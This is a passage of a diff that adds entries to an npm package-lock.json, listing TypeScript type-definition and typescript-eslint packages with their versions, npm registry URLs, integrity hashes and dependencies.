6938+ }
6939+ },
6940+ "node_modules/@types/connect": {
6941+ "version": "3.4.38",
6942+ "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz",
6943+ "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==",
6944+ "license": "MIT",
6945+ "dependencies": {
6946+ "@types/node": "*"
6947+ }
6948+ },
6949+ "node_modules/@types/connect-history-api-fallback": {
6950+ "version": "1.5.4",
6951+ "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.4.tgz",
6952+ "integrity": "sha512-n6Cr2xS1h4uAulPRdlw6Jl6s1oG8KrVilPN2yUITEs+K48EzMJJ3W1xy8K5eWuFvjp3R74AOIGSmp2UfBJ8HFw==",
6953+ "license": "MIT",
6954+ "dependencies": {
6955+ "@types/express-serve-static-core": "*",
6956+ "@types/node": "*"
6957+ }
6958+ },
6959+ "node_modules/@types/cors": {
6960+ "version": "2.8.19",
6961+ "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.19.tgz",
6962+ "integrity": "sha512-mFNylyeyqN93lfe/9CSxOGREz8cpzAhH+E93xJ4xWQf62V8sQ/24reV2nyzUWM6H6Xji+GGHpkbLe7pVoUEskg==",
6963+ "license": "MIT",
6964+ "dependencies": {
6965+ "@types/node": "*"
6966+ }
6967+ },
6968+ "node_modules/@types/draco3d": {
6969+ "version": "1.4.10",
6970+ "resolved": "https://registry.npmjs.org/@types/draco3d/-/draco3d-1.4.10.tgz",
6971+ "integrity": "sha512-AX22jp8Y7wwaBgAixaSvkoG4M/+PlAcm3Qs4OW8yT9DM4xUpWKeFhLueTAyZF39pviAdcDdeJoACapiAceqNcw==",
6972+ "license": "MIT"
6973+ },
6974+ "node_modules/@types/eslint": {
6975+ "version": "8.56.12",
6976+ "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.56.12.tgz",
6977+ "integrity": "sha512-03ruubjWyOHlmljCVoxSuNDdmfZDzsrrz0P2LeJsOXr+ZwFQ+0yQIwNCwt/GYhV7Z31fgtXJTAEs+FYlEL851g==",
6978+ "license": "MIT",
6979+ "dependencies": {
6980+ "@types/estree": "*",
6981+ "@types/json-schema": "*"
6982+ }
6983+ },
6984+ "node_modules/@types/eslint-scope": {
6985+ "version": "3.7.7",
6986+ "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.7.tgz",
6987+ "integrity": "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==",
6988+ "license": "MIT",
6989+ "dependencies": {
6990+ "@types/eslint": "*",
6991+ "@types/estree": "*"
6992+ }
6993+ },
6994+ "node_modules/@types/estree": {
6995+ "version": "1.0.8",
6996+ "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
6997+ "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==",
6998+ "license": "MIT"
6999+ },
7000+ "node_modules/@types/express": {
7001+ "version": "4.17.25",
7002+ "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.25.tgz",
7003+ "integrity": "sha512-dVd04UKsfpINUnK0yBoYHDF3xu7xVH4BuDotC/xGuycx4CgbP48X/KF/586bcObxT0HENHXEU8Nqtu6NR+eKhw==",
7004+ "license": "MIT",
7005+ "dependencies": {
7006+ "@types/body-parser": "*",
7007+ "@types/express-serve-static-core": "^4.17.33",
7008+ "@types/qs": "*",
7009+ "@types/serve-static": "^1"
7010+ }
7011+ },
7012+ "node_modules/@types/express-serve-static-core": {
7013+ "version": "5.1.0",
7014+ "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-5.1.0.tgz",
7015+ "integrity": "sha512-jnHMsrd0Mwa9Cf4IdOzbz543y4XJepXrbia2T4b6+spXC2We3t1y6K44D3mR8XMFSXMCf3/l7rCgddfx7UNVBA==",
7016+ "license": "MIT",
7017+ "dependencies": {
7018+ "@types/node": "*",
7019+ "@types/qs": "*",
7020+ "@types/range-parser": "*",
7021+ "@types/send": "*"
7022+ }
7023+ },
7024+ "node_modules/@types/express/node_modules/@types/express-serve-static-core": {
7025+ "version": "4.19.7",
7026+ "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.7.tgz",
7027+ "integrity": "sha512-FvPtiIf1LfhzsaIXhv/PHan/2FeQBbtBDtfX2QfvPxdUelMDEckK08SM6nqo1MIZY3RUlfA+HV8+hFUSio78qg==",
7028+ "license": "MIT",
7029+ "dependencies": {
7030+ "@types/node": "*",
7031+ "@types/qs": "*",
7032+ "@types/range-parser": "*",
7033+ "@types/send": "*"
7034+ }
7035+ },
7036+ "node_modules/@types/graceful-fs": {
7037+ "version": "4.1.9",
7038+ "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz",
7039+ "integrity": "sha512-olP3sd1qOEe5dXTSaFvQG+02VdRXcdytWLAZsAq1PecU8uqQAhkrnbli7DagjtXKW/Bl7YJbUsa8MPcuc8LHEQ==",
7040+ "license": "MIT",
7041+ "dependencies": {
7042+ "@types/node": "*"
7043+ }
7044+ },
7045+ "node_modules/@types/html-minifier-terser": {
7046+ "version": "6.1.0",
7047+ "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz",
7048+ "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==",
7049+ "license": "MIT"
7050+ },
7051+ "node_modules/@types/http-errors": {
7052+ "version": "2.0.5",
7053+ "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz",
7054+ "integrity": "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==",
7055+ "license": "MIT"
7056+ },
7057+ "node_modules/@types/http-proxy": {
7058+ "version": "1.17.17",
7059+ "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.17.tgz",
7060+ "integrity": "sha512-ED6LB+Z1AVylNTu7hdzuBqOgMnvG/ld6wGCG8wFnAzKX5uyW2K3WD52v0gnLCTK/VLpXtKckgWuyScYK6cSPaw==",
7061+ "license": "MIT",
7062+ "dependencies": {
7063+ "@types/node": "*"
7064+ }
7065+ },
7066+ "node_modules/@types/istanbul-lib-coverage": {
7067+ "version": "2.0.6",
7068+ "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz",
7069+ "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==",
7070+ "license": "MIT"
7071+ },
7072+ "node_modules/@types/istanbul-lib-report": {
7073+ "version": "3.0.3",
7074+ "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz",
7075+ "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==",
7076+ "license": "MIT",
7077+ "dependencies": {
7078+ "@types/istanbul-lib-coverage": "*"
7079+ }
7080+ },
7081+ "node_modules/@types/istanbul-reports": {
7082+ "version": "3.0.4",
7083+ "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz",
7084+ "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==",
7085+ "license": "MIT",
7086+ "dependencies": {
7087+ "@types/istanbul-lib-report": "*"
7088+ }
7089+ },
7090+ "node_modules/@types/jest": {
7091+ "version": "30.0.0",
7092+ "resolved": "https://registry.npmjs.org/@types/jest/-/jest-30.0.0.tgz",
7093+ "integrity": "sha512-XTYugzhuwqWjws0CVz8QpM36+T+Dz5mTEBKhNs/esGLnCIlGdRy+Dq78NRjd7ls7r8BC8ZRMOrKlkO1hU0JOwA==",
7094+ "license": "MIT",
7095+ "dependencies": {
7096+ "expect": "^30.0.0",
7097+ "pretty-format": "^30.0.0"
7098+ }
7099+ },
7100+ "node_modules/@types/jest/node_modules/ansi-styles": {
7101+ "version": "5.2.0",
7102+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
7103+ "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
7104+ "license": "MIT",
7105+ "engines": {
7106+ "node": ">=10"
7107+ },
7108+ "funding": {
7109+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
7110+ }
7111+ },
7112+ "node_modules/@types/jest/node_modules/pretty-format": {
7113+ "version": "30.2.0",
7114+ "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.2.0.tgz",
7115+ "integrity": "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA==",
7116+ "license": "MIT",
7117+ "dependencies": {
7118+ "@jest/schemas": "30.0.5",
7119+ "ansi-styles": "^5.2.0",
7120+ "react-is": "^18.3.1"
7121+ },
7122+ "engines": {
7123+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
7124+ }
7125+ },
7126+ "node_modules/@types/jest/node_modules/react-is": {
7127+ "version": "18.3.1",
7128+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
7129+ "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==",
7130+ "license": "MIT"
7131+ },
7132+ "node_modules/@types/json-schema": {
7133+ "version": "7.0.15",
7134+ "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
7135+ "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==",
7136+ "license": "MIT"
7137+ },
7138+ "node_modules/@types/json5": {
7139+ "version": "0.0.29",
7140+ "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz",
7141+ "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==",
7142+ "license": "MIT"
7143+ },
7144+ "node_modules/@types/mime": {
7145+ "version": "1.3.5",
7146+ "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz",
7147+ "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==",
7148+ "license": "MIT"
7149+ },
7150+ "node_modules/@types/node": {
7151+ "version": "25.0.2",
7152+ "resolved": "https://registry.npmjs.org/@types/node/-/node-25.0.2.tgz",
7153+ "integrity": "sha512-gWEkeiyYE4vqjON/+Obqcoeffmk0NF15WSBwSs7zwVA2bAbTaE0SJ7P0WNGoJn8uE7fiaV5a7dKYIJriEqOrmA==",
7154+ "license": "MIT",
7155+ "dependencies": {
7156+ "undici-types": "~7.16.0"
7157+ }
7158+ },
7159+ "node_modules/@types/node-forge": {
7160+ "version": "1.3.14",
7161+ "resolved": "https://registry.npmjs.org/@types/node-forge/-/node-forge-1.3.14.tgz",
7162+ "integrity": "sha512-mhVF2BnD4BO+jtOp7z1CdzaK4mbuK0LLQYAvdOLqHTavxFNq4zA1EmYkpnFjP8HOUzedfQkRnp0E2ulSAYSzAw==",
7163+ "license": "MIT",
7164+ "dependencies": {
7165+ "@types/node": "*"
7166+ }
7167+ },
7168+ "node_modules/@types/offscreencanvas": {
7169+ "version": "2019.7.3",
7170+ "resolved": "https://registry.npmjs.org/@types/offscreencanvas/-/offscreencanvas-2019.7.3.tgz",
7171+ "integrity": "sha512-ieXiYmgSRXUDeOntE1InxjWyvEelZGP63M+cGuquuRLuIKKT1osnkXjxev9B7d1nXSug5vpunx+gNlbVxMlC9A==",
7172+ "license": "MIT"
7173+ },
7174+ "node_modules/@types/parse-json": {
7175+ "version": "4.0.2",
7176+ "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.2.tgz",
7177+ "integrity": "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==",
7178+ "license": "MIT"
7179+ },
7180+ "node_modules/@types/pbkdf2": {
7181+ "version": "3.1.2",
7182+ "resolved": "https://registry.npmjs.org/@types/pbkdf2/-/pbkdf2-3.1.2.tgz",
7183+ "integrity": "sha512-uRwJqmiXmh9++aSu1VNEn3iIxWOhd8AHXNSdlaLfdAAdSTY9jYVeGWnzejM3dvrkbqE3/hyQkQQ29IFATEGlew==",
7184+ "license": "MIT",
7185+ "dependencies": {
7186+ "@types/node": "*"
7187+ }
7188+ },
7189+ "node_modules/@types/prettier": {
7190+ "version": "2.7.3",
7191+ "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.3.tgz",
7192+ "integrity": "sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA==",
7193+ "license": "MIT"
7194+ },
7195+ "node_modules/@types/prop-types": {
7196+ "version": "15.7.15",
7197+ "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz",
7198+ "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==",
7199+ "license": "MIT"
7200+ },
7201+ "node_modules/@types/q": {
7202+ "version": "1.5.8",
7203+ "resolved": "https://registry.npmjs.org/@types/q/-/q-1.5.8.tgz",
7204+ "integrity": "sha512-hroOstUScF6zhIi+5+x0dzqrHA1EJi+Irri6b1fxolMTqqHIV/Cg77EtnQcZqZCu8hR3mX2BzIxN4/GzI68Kfw==",
7205+ "license": "MIT"
7206+ },
7207+ "node_modules/@types/qs": {
7208+ "version": "6.14.0",
7209+ "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.14.0.tgz",
7210+ "integrity": "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ==",
7211+ "license": "MIT"
7212+ },
7213+ "node_modules/@types/range-parser": {
7214+ "version": "1.2.7",
7215+ "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz",
7216+ "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==",
7217+ "license": "MIT"
7218+ },
7219+ "node_modules/@types/react": {
7220+ "version": "18.3.27",
7221+ "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.27.tgz",
7222+ "integrity": "sha512-cisd7gxkzjBKU2GgdYrTdtQx1SORymWyaAFhaxQPK9bYO9ot3Y5OikQRvY0VYQtvwjeQnizCINJAenh/V7MK2w==",
7223+ "license": "MIT",
7224+ "dependencies": {
7225+ "@types/prop-types": "*",
7226+ "csstype": "^3.2.2"
7227+ }
7228+ },
7229+ "node_modules/@types/react-dom": {
7230+ "version": "18.3.7",
7231+ "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.7.tgz",
7232+ "integrity": "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==",
7233+ "license": "MIT",
7234+ "peerDependencies": {
7235+ "@types/react": "^18.0.0"
7236+ }
7237+ },
7238+ "node_modules/@types/react-reconciler": {
7239+ "version": "0.26.7",
7240+ "resolved": "https://registry.npmjs.org/@types/react-reconciler/-/react-reconciler-0.26.7.tgz",
7241+ "integrity": "sha512-mBDYl8x+oyPX/VBb3E638N0B7xG+SPk/EAMcVPeexqus/5aTpTphQi0curhhshOqRrc9t6OPoJfEUkbymse/lQ==",
7242+ "license": "MIT",
7243+ "dependencies": {
7244+ "@types/react": "*"
7245+ }
7246+ },
7247+ "node_modules/@types/resolve": {
7248+ "version": "1.17.1",
7249+ "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz",
7250+ "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==",
7251+ "license": "MIT",
7252+ "dependencies": {
7253+ "@types/node": "*"
7254+ }
7255+ },
7256+ "node_modules/@types/retry": {
7257+ "version": "0.12.0",
7258+ "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz",
7259+ "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==",
7260+ "license": "MIT"
7261+ },
7262+ "node_modules/@types/secp256k1": {
7263+ "version": "4.0.7",
7264+ "resolved": "https://registry.npmjs.org/@types/secp256k1/-/secp256k1-4.0.7.tgz",
7265+ "integrity": "sha512-Rcvjl6vARGAKRO6jHeKMatGrvOMGrR/AR11N1x2LqintPCyDZ7NBhrh238Z2VZc7aM7KIwnFpFQ7fnfK4H/9Qw==",
7266+ "license": "MIT",
7267+ "dependencies": {
7268+ "@types/node": "*"
7269+ }
7270+ },
7271+ "node_modules/@types/semver": {
7272+ "version": "7.7.1",
7273+ "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.1.tgz",
7274+ "integrity": "sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA==",
7275+ "license": "MIT"
7276+ },
7277+ "node_modules/@types/send": {
7278+ "version": "1.2.1",
7279+ "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz",
7280+ "integrity": "sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==",
7281+ "license": "MIT",
7282+ "dependencies": {
7283+ "@types/node": "*"
7284+ }
7285+ },
7286+ "node_modules/@types/serve-index": {
7287+ "version": "1.9.4",
7288+ "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.4.tgz",
7289+ "integrity": "sha512-qLpGZ/c2fhSs5gnYsQxtDEq3Oy8SXPClIXkW5ghvAvsNuVSA8k+gCONcUCS/UjLEYvYps+e8uBtfgXgvhwfNug==",
7290+ "license": "MIT",
7291+ "dependencies": {
7292+ "@types/express": "*"
7293+ }
7294+ },
7295+ "node_modules/@types/serve-static": {
7296+ "version": "1.15.10",
7297+ "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.10.tgz",
7298+ "integrity": "sha512-tRs1dB+g8Itk72rlSI2ZrW6vZg0YrLI81iQSTkMmOqnqCaNr/8Ek4VwWcN5vZgCYWbg/JJSGBlUaYGAOP73qBw==",
7299+ "license": "MIT",
7300+ "dependencies": {
7301+ "@types/http-errors": "*",
7302+ "@types/node": "*",
7303+ "@types/send": "<1"
7304+ }
7305+ },
7306+ "node_modules/@types/serve-static/node_modules/@types/send": {
7307+ "version": "0.17.6",
7308+ "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.6.tgz",
7309+ "integrity": "sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og==",
7310+ "license": "MIT",
7311+ "dependencies": {
7312+ "@types/mime": "^1",
7313+ "@types/node": "*"
7314+ }
7315+ },
7316+ "node_modules/@types/sockjs": {
7317+ "version": "0.3.36",
7318+ "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.36.tgz",
7319+ "integrity": "sha512-MK9V6NzAS1+Ud7JV9lJLFqW85VbC9dq3LmwZCuBe4wBDgKC0Kj/jd8Xl+nSviU+Qc3+m7umHHyHg//2KSa0a0Q==",
7320+ "license": "MIT",
7321+ "dependencies": {
7322+ "@types/node": "*"
7323+ }
7324+ },
7325+ "node_modules/@types/stack-utils": {
7326+ "version": "2.0.3",
7327+ "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz",
7328+ "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==",
7329+ "license": "MIT"
7330+ },
7331+ "node_modules/@types/stats.js": {
7332+ "version": "0.17.4",
7333+ "resolved": "https://registry.npmjs.org/@types/stats.js/-/stats.js-0.17.4.tgz",
7334+ "integrity": "sha512-jIBvWWShCvlBqBNIZt0KAshWpvSjhkwkEu4ZUcASoAvhmrgAUI2t1dXrjSL4xXVLB4FznPrIsX3nKXFl/Dt4vA==",
7335+ "license": "MIT"
7336+ },
7337+ "node_modules/@types/testing-library__jest-dom": {
7338+ "version": "5.14.9",
7339+ "resolved": "https://registry.npmjs.org/@types/testing-library__jest-dom/-/testing-library__jest-dom-5.14.9.tgz",
7340+ "integrity": "sha512-FSYhIjFlfOpGSRyVoMBMuS3ws5ehFQODymf3vlI7U1K8c7PHwWwFY7VREfmsuzHSOnoKs/9/Y983ayOs7eRzqw==",
7341+ "license": "MIT",
7342+ "dependencies": {
7343+ "@types/jest": "*"
7344+ }
7345+ },
7346+ "node_modules/@types/three": {
7347+ "version": "0.182.0",
7348+ "resolved": "https://registry.npmjs.org/@types/three/-/three-0.182.0.tgz",
7349+ "integrity": "sha512-WByN9V3Sbwbe2OkWuSGyoqQO8Du6yhYaXtXLoA5FkKTUJorZ+yOHBZ35zUUPQXlAKABZmbYp5oAqpA4RBjtJ/Q==",
7350+ "license": "MIT",
7351+ "dependencies": {
7352+ "@dimforge/rapier3d-compat": "~0.12.0",
7353+ "@tweenjs/tween.js": "~23.1.3",
7354+ "@types/stats.js": "*",
7355+ "@types/webxr": ">=0.5.17",
7356+ "@webgpu/types": "*",
7357+ "fflate": "~0.8.2",
7358+ "meshoptimizer": "~0.22.0"
7359+ }
7360+ },
7361+ "node_modules/@types/trusted-types": {
7362+ "version": "2.0.7",
7363+ "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz",
7364+ "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==",
7365+ "license": "MIT"
7366+ },
7367+ "node_modules/@types/webidl-conversions": {
7368+ "version": "7.0.3",
7369+ "resolved": "https://registry.npmjs.org/@types/webidl-conversions/-/webidl-conversions-7.0.3.tgz",
7370+ "integrity": "sha512-CiJJvcRtIgzadHCYXw7dqEnMNRjhGZlYK05Mj9OyktqV8uVT8fD2BFOB7S1uwBE3Kj2Z+4UyPmFw/Ixgw/LAlA==",
7371+ "license": "MIT"
7372+ },
7373+ "node_modules/@types/webxr": {
7374+ "version": "0.5.24",
7375+ "resolved": "https://registry.npmjs.org/@types/webxr/-/webxr-0.5.24.tgz",
7376+ "integrity": "sha512-h8fgEd/DpoS9CBrjEQXR+dIDraopAEfu4wYVNY2tEPwk60stPWhvZMf4Foo5FakuQ7HFZoa8WceaWFervK2Ovg==",
7377+ "license": "MIT"
7378+ },
7379+ "node_modules/@types/whatwg-url": {
7380+ "version": "11.0.5",
7381+ "resolved": "https://registry.npmjs.org/@types/whatwg-url/-/whatwg-url-11.0.5.tgz",
7382+ "integrity": "sha512-coYR071JRaHa+xoEvvYqvnIHaVqaYrLPbsufM9BF63HkwI5Lgmy2QR8Q5K/lYDYo5AK82wOvSOS0UsLTpTG7uQ==",
7383+ "license": "MIT",
7384+ "dependencies": {
7385+ "@types/webidl-conversions": "*"
7386+ }
7387+ },
7388+ "node_modules/@types/ws": {
7389+ "version": "8.18.1",
7390+ "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz",
7391+ "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==",
7392+ "license": "MIT",
7393+ "dependencies": {
7394+ "@types/node": "*"
7395+ }
7396+ },
7397+ "node_modules/@types/yargs": {
7398+ "version": "17.0.35",
7399+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.35.tgz",
7400+ "integrity": "sha512-qUHkeCyQFxMXg79wQfTtfndEC+N9ZZg76HJftDJp+qH2tV7Gj4OJi7l+PiWwJ+pWtW8GwSmqsDj/oymhrTWXjg==",
7401+ "license": "MIT",
7402+ "dependencies": {
7403+ "@types/yargs-parser": "*"
7404+ }
7405+ },
7406+ "node_modules/@types/yargs-parser": {
7407+ "version": "21.0.3",
7408+ "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz",
7409+ "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==",
7410+ "license": "MIT"
7411+ },
7412+ "node_modules/@typescript-eslint/eslint-plugin": {
7413+ "version": "5.62.0",
7414+ "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.62.0.tgz",
7415+ "integrity": "sha512-TiZzBSJja/LbhNPvk6yc0JrX9XqhQ0hdh6M2svYfsHGejaKFIAGd9MQ+ERIMzLGlN/kZoYIgdxFV0PuljTKXag==",
7416+ "license": "MIT",
7417+ "dependencies": {
7418+ "@eslint-community/regexpp": "^4.4.0",
7419+ "@typescript-eslint/scope-manager": "5.62.0",
7420+ "@typescript-eslint/type-utils": "5.62.0",
7421+ "@typescript-eslint/utils": "5.62.0",
7422+ "debug": "^4.3.4",
7423+ "graphemer": "^1.4.0",
7424+ "ignore": "^5.2.0",
7425+ "natural-compare-lite": "^1.4.0",
7426+ "semver": "^7.3.7",
7427+ "tsutils": "^3.21.0"
7428+ },
7429+ "engines": {
7430+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
7431+ },
7432+ "funding": {
7433+ "type": "opencollective",
7434+ "url": "https://opencollective.com/typescript-eslint"
7435+ },
7436+ "peerDependencies": {
7437+ "@typescript-eslint/parser": "^5.0.0",
7438+ "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
7439+ },
7440+ "peerDependenciesMeta": {
7441+ "typescript": {
7442+ "optional": true
7443+ }
7444+ }
7445+ },
7446+ "node_modules/@typescript-eslint/eslint-plugin/node_modules/debug": {
7447+ "version": "4.4.3",
7448+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
7449+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
7450+ "license": "MIT",
7451+ "dependencies": {
7452+ "ms": "^2.1.3"
7453+ },
7454+ "engines": {
7455+ "node": ">=6.0"
7456+ },
7457+ "peerDependenciesMeta": {
7458+ "supports-color": {
7459+ "optional": true
7460+ }
7461+ }
7462+ },
7463+ "node_modules/@typescript-eslint/eslint-plugin/node_modules/ms": {
7464+ "version": "2.1.3",
7465+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
7466+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
7467+ "license": "MIT"
7468+ },
7469+ "node_modules/@typescript-eslint/experimental-utils": {
7470+ "version": "5.62.0",
7471+ "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-5.62.0.tgz",
7472+ "integrity": "sha512-RTXpeB3eMkpoclG3ZHft6vG/Z30azNHuqY6wKPBHlVMZFuEvrtlEDe8gMqDb+SO+9hjC/pLekeSCryf9vMZlCw==",
7473+ "license": "MIT",
7474+ "dependencies": {
7475+ "@typescript-eslint/utils": "5.62.0"
7476+ },
7477+ "engines": {
7478+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
7479+ },
7480+ "funding": {
7481+ "type": "opencollective",
7482+ "url": "https://opencollective.com/typescript-eslint"
7483+ },
7484+ "peerDependencies": {
7485+ "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
7486+ }
7487+ },
7488+ "node_modules/@typescript-eslint/parser": {
7489+ "version": "5.62.0",
